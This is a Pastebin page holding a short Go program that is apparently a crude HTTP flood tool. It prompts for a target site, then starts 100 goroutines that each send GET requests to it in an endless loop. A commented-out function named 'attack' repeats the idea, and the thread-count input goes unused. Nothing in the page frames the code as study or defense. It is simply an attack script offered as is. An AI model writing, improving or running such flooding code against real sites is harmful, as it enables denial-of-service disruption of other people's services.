Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import
- (
- "fmt"
- "net/http"
- )
- /*func attack(url string, times int) int{
- if times == 0 {
- return 0
- }
- go func() {
- for {
- resp, err := http.Get(url)
- if err != nil {
- fmt.Println("Problems with sending: ", err)
- } else {
- fmt.Println("Success.")
- }
- defer resp.Body.Close()
- }
- }()
- return attack(url, times-1)
- }*/
- func andron(url string) {
- for {
- fmt.Println("sss")
- _, err := http.Get(url)
- if err != nil {
- fmt.Println("Problems with sending: ", err)
- } else {
- fmt.Println("Success.")
- }
- }
- }
- func main() {
- var url string
- fmt.Print("Enter the name of the site: ")
- fmt.Scan(&url)
- var times int
- fmt.Print("Enter number of threads: ")
- fmt.Scan(×)
- for i := 0; i < 100; i++ {
- go andron(url)
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement